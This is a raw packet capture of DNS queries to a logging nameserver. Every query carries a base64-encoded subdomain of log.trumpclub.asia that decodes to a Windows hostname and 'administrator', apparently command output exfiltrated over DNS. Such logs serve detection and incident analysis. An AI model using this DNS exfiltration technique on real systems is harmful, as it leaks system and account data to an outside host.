10:56:52.846273 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 32717, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 111.30.158.12.39108: 38893% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:52.863057 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 40, id 46989, offset 0, flags [none], proto UDP (17), length 130)
117.185.251.192.35745 > 192.168.0.226.53: 929% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:52.863429 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 60267, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.185.251.192.35745: 929% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:52.894438 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 40, id 46994, offset 0, flags [none], proto UDP (17), length 130)
117.185.251.192.50296 > 192.168.0.226.53: 13267% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:52.894804 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 60289, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.185.251.192.50296: 13267% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:52.925013 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 40, id 46996, offset 0, flags [none], proto UDP (17), length 130)
117.185.251.192.63360 > 192.168.0.226.53: 42892% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:52.925402 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 60312, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.185.251.192.63360: 42892% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.020304 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 44, id 13903, offset 0, flags [none], proto UDP (17), length 130)
47.117.47.33.27714 > 192.168.0.226.53: 50927% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (102)
10:56:53.020498 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 422, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 47.117.47.33.27714: 50927% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (102)
10:56:53.057419 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 132: (tos 0x0, ttl 41, id 36118, offset 0, flags [none], proto UDP (17), length 118)
116.236.144.34.45284 > 192.168.0.226.53: 57789% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (90)
10:56:53.057785 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 132: (tos 0x0, ttl 64, id 8976, offset 0, flags [DF], proto UDP (17), length 118)
192.168.0.226.53 > 116.236.144.34.45284: 57789% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (90)
10:56:53.116061 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 35, id 11369, offset 0, flags [none], proto UDP (17), length 130)
8.210.126.159.5210 > 192.168.0.226.53: 44399+% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (102)
10:56:53.116393 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 36073, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 8.210.126.159.5210: 44399+% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (102)
10:56:53.219133 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 6103, offset 0, flags [none], proto UDP (17), length 130)
14.116.128.12.30095 > 192.168.0.226.53: 24275% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.219522 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 1378, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 14.116.128.12.30095: 24275% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.259846 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 6104, offset 0, flags [none], proto UDP (17), length 130)
14.116.128.12.17440 > 192.168.0.226.53: 13984% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.260168 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 1401, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 14.116.128.12.17440: 13984% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.300626 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 6105, offset 0, flags [none], proto UDP (17), length 130)
14.116.128.12.16185 > 192.168.0.226.53: 50296% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.300911 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 1430, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 14.116.128.12.16185: 50296% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.338613 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 6106, offset 0, flags [none], proto UDP (17), length 130)
14.116.128.12.62588 > 192.168.0.226.53: 56885% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.338913 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 1438, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 14.116.128.12.62588: 56885% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.379726 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 6107, offset 0, flags [none], proto UDP (17), length 130)
14.116.128.12.8986 > 192.168.0.226.53: 55623% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.380006 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 1471, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 14.116.128.12.8986: 55623% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.824836 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 121: (tos 0x0, ttl 43, id 64292, offset 0, flags [none], proto UDP (17), length 107)
116.236.159.86.49863 > 192.168.0.226.53: 61371 AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (79)
10:56:53.825161 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 121: (tos 0x0, ttl 64, id 5791, offset 0, flags [DF], proto UDP (17), length 107)
192.168.0.226.53 > 116.236.159.86.49863: 61371 AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (79)
10:56:53.864566 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 134, offset 0, flags [none], proto UDP (17), length 130)
117.68.17.140.10823 > 192.168.0.226.53: 24630% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.864831 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 18122, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.68.17.140.10823: 24630% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.890074 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 140, offset 0, flags [none], proto UDP (17), length 130)
117.68.17.140.26896 > 192.168.0.226.53: 18084% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.890383 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 18135, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.68.17.140.26896: 18084% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.913265 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 145, offset 0, flags [none], proto UDP (17), length 130)
117.68.17.140.2697 > 192.168.0.226.53: 40296% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.913559 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 18142, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.68.17.140.2697: 40296% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.937646 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 148, offset 0, flags [none], proto UDP (17), length 130)
117.68.17.140.4623 > 192.168.0.226.53: 16457% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.937937 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 18145, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.68.17.140.4623: 16457% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.958942 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 150, offset 0, flags [none], proto UDP (17), length 130)
117.68.17.140.29388 > 192.168.0.226.53: 16128% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:53.959263 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 18147, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.68.17.140.29388: 16128% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:54.001941 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 121: (tos 0x48, ttl 43, id 22598, offset 0, flags [none], proto UDP (17), length 107)
180.153.91.55.20618 > 192.168.0.226.53: 49358 AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (79)
10:56:54.002265 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 121: (tos 0x0, ttl 64, id 14811, offset 0, flags [DF], proto UDP (17), length 107)
192.168.0.226.53 > 180.153.91.55.20618: 49358 AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (79)
10:56:54.310006 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 41, id 58431, offset 0, flags [none], proto UDP (17), length 130)
101.91.44.208.39513 > 192.168.0.226.53: 26683% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:54.310227 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 43718, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 101.91.44.208.39513: 26683% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:54.339660 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 41, id 58435, offset 0, flags [none], proto UDP (17), length 130)
101.91.44.208.18036 > 192.168.0.226.53: 27092% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:54.339942 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 43736, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 101.91.44.208.18036: 27092% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:54.366445 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 41, id 58436, offset 0, flags [none], proto UDP (17), length 130)
101.91.44.208.38947 > 192.168.0.226.53: 43584% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:54.366818 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 43744, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 101.91.44.208.38947: 43584% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:54.394556 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 41, id 58441, offset 0, flags [none], proto UDP (17), length 130)
101.91.44.208.36898 > 192.168.0.226.53: 23735% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:54.394843 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 43751, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 101.91.44.208.36898: 23735% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:54.421853 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 41, id 58447, offset 0, flags [none], proto UDP (17), length 130)
101.91.44.208.30999 > 192.168.0.226.53: 22860% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:54.422140 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 43771, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 101.91.44.208.30999: 22860% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:55.035631 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 132: (tos 0x48, ttl 42, id 41552, offset 0, flags [none], proto UDP (17), length 118)
101.227.5.114.6045 > 192.168.0.226.53: 23028% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (90)
10:56:55.035832 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 132: (tos 0x0, ttl 64, id 57802, offset 0, flags [DF], proto UDP (17), length 118)
192.168.0.226.53 > 101.227.5.114.6045: 23028% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (90)
10:56:55.623350 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 25787, offset 0, flags [none], proto UDP (17), length 130)
113.96.17.165.56197 > 192.168.0.226.53: 53675% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:55.623627 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 1314, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.17.165.56197: 53675% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:55.667483 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 41, id 25794, offset 0, flags [none], proto UDP (17), length 130)
113.96.17.165.21889 > 192.168.0.226.53: 26136% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:55.667753 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 1343, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.17.165.21889: 26136% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:55.706153 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 25798, offset 0, flags [none], proto UDP (17), length 130)
113.96.17.165.26809 > 192.168.0.226.53: 43885% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:55.706434 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 1370, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.17.165.26809: 43885% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:55.751294 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 41, id 25802, offset 0, flags [none], proto UDP (17), length 130)
113.96.17.165.40984 > 192.168.0.226.53: 18748% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:55.751485 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 1411, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.17.165.40984: 18748% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:55.793996 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 41, id 25812, offset 0, flags [none], proto UDP (17), length 130)
113.96.17.165.21495 > 192.168.0.226.53: 3358% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:55.794291 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 143: (tos 0x0, ttl 64, id 1428, offset 0, flags [DF], proto UDP (17), length 129)
192.168.0.226.53 > 113.96.17.165.21495: 7680 stat [256q] [298au][|domain]
10:56:55.835121 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 132: (tos 0x48, ttl 42, id 42005, offset 0, flags [none], proto UDP (17), length 118)
101.227.5.114.51342 > 192.168.0.226.53: 44882% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (90)
10:56:55.835430 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 132: (tos 0x0, ttl 64, id 57860, offset 0, flags [DF], proto UDP (17), length 118)
192.168.0.226.53 > 101.227.5.114.51342: 44882% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (90)
10:56:55.854238 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 41, id 25820, offset 0, flags [none], proto UDP (17), length 130)
113.96.17.165.17221 > 192.168.0.226.53: 41098% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:55.854526 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 1441, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.17.165.17221: 41098% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:56.070489 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 2692, offset 0, flags [none], proto UDP (17), length 130)
111.30.158.12.3210 > 192.168.0.226.53: 65286% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:56.070741 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 33824, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 111.30.158.12.3210: 65286% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:56.081294 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 2693, offset 0, flags [none], proto UDP (17), length 130)
111.30.158.12.5736 > 192.168.0.226.53: 26566% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:56.081574 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 33829, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 111.30.158.12.5736: 26566% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:56.095739 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 2694, offset 0, flags [none], proto UDP (17), length 130)
111.30.158.12.23101 > 192.168.0.226.53: 65215% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:56.096045 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 33838, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 111.30.158.12.23101: 65215% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:56.103734 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 2695, offset 0, flags [none], proto UDP (17), length 130)
111.30.158.12.53484 > 192.168.0.226.53: 38035% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:56.104027 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 33843, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 111.30.158.12.53484: 38035% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:56.113801 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 2696, offset 0, flags [none], proto UDP (17), length 130)
111.30.158.12.47096 > 192.168.0.226.53: 10012% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:56.114079 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 33844, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 111.30.158.12.47096: 10012% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:56.636933 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 121: (tos 0x48, ttl 42, id 42793, offset 0, flags [none], proto UDP (17), length 107)
101.227.5.114.22384 > 192.168.0.226.53: 14131 AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (79)
10:56:56.637262 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 121: (tos 0x0, ttl 64, id 58501, offset 0, flags [DF], proto UDP (17), length 107)
192.168.0.226.53 > 101.227.5.114.22384: 14131 AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (79)
10:56:57.203515 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 121: (tos 0x48, ttl 43, id 23217, offset 0, flags [none], proto UDP (17), length 107)
180.153.91.55.53531 > 192.168.0.226.53: 51653 AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (79)
10:56:57.203719 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 121: (tos 0x0, ttl 64, id 15946, offset 0, flags [DF], proto UDP (17), length 107)
192.168.0.226.53 > 180.153.91.55.53531: 51653 AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (79)
10:57:22.785001 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 35, id 25742, offset 0, flags [none], proto UDP (17), length 130)
